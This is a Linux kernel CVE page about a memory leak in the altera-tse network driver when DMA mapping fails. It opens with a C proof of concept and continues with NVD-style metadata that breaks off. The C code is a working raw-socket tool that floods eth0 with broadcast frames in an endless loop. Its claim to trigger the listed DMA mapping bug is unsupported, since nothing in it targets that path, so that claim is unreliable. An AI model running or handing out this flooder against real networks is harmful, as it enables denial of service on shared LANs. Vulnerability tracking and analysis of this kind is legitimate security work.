CVE-2026-31658

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <net/if.h> // Conceptual PoC to flood the network interface to potentially trigger memory leaks // or resource exhaustion in vulnerable drivers. #define BUFFER_SIZE 1518 int main() { int sockfd; struct ifreq if_idx; struct sockaddr_ll socket_address; char buffer[BUFFER_SIZE]; char ifName[IFNAMSIZ] = "eth0"; if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) { perror("socket"); return -1; } memset(&if_idx, 0, sizeof(struct ifreq)); strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return -1; } unsigned char dest_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; memset(&socket_address, 0, sizeof(socket_address)); socket_address.sll_family = AF_PACKET; socket_address.sll_protocol = htons(ETH_P_ALL); socket_address.sll_ifindex = if_idx.ifr_ifindex; socket_address.sll_halen = ETH_ALEN; memcpy(socket_address.sll_addr, dest_mac, 6); memset(buffer, 0xAA, BUFFER_SIZE); struct ethhdr *eth = (struct ethhdr *)buffer; memcpy(eth->h_dest, dest_mac, 6); memcpy(eth->h_source, dest_mac, 6); eth->h_proto = htons(ETH_P_IP); printf("Starting PoC: Flooding interface %s to trigger potential DMA mapping errors...\n", ifName); int count = 0; while (1) { if (sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr*)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); break; } count++; if (count % 1000 == 0) { printf("Sent %d packets...\n", count); } } close(sockfd); return 0; }

{"cve": {"id": "CVE-2026-31658", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:45.337", "lastModified": "2026-04-27T20:17:08.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: altera-tse: fix skb leak on DMA mapping error in tse_start_xmit()\n\nWhen dma_map_single() fails in tse_start_xmit(), the function returns\nNETDEV_TX_OK without freeing the skb. Since NETDEV_TX_OK tells the\nstack the packet was consumed, the skb is never freed, leaking memory\non every DMA mapping failure.\n\nAdd dev_kfree_skb_any() before returning to properly free the skb."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "DA21F47A-22D3-42CD-9040-94231664F332"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.135", "matchCriteriaId": "15C1A1B2-14EE-494C-AF3E-D5A7BA640B39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.82", "matchCriteriaId": "02904CAE-71D2-45B3-9EC3-F6A9D18B6307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.15:-:*:*:*:*:*:*", "matchCriteriaId": "F138B0D1-8A71-47E3-B203-17061370DFD9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2eb9d67704ca8f1101f7435b85f113ede471f9f2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3aca300e88afe56afb000cdc4c65383014fb17f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/60f462cd2716d86bd2174f9d5e035c9278f30480", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6dede3967619b5944003227a5d09fdc21ed57d10", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9f3ec44aeb58501d11834048d5d0dbaeacb6d4e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ae2cd46f57f422b51aedd406ff5d75cbff401d5d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/ ... 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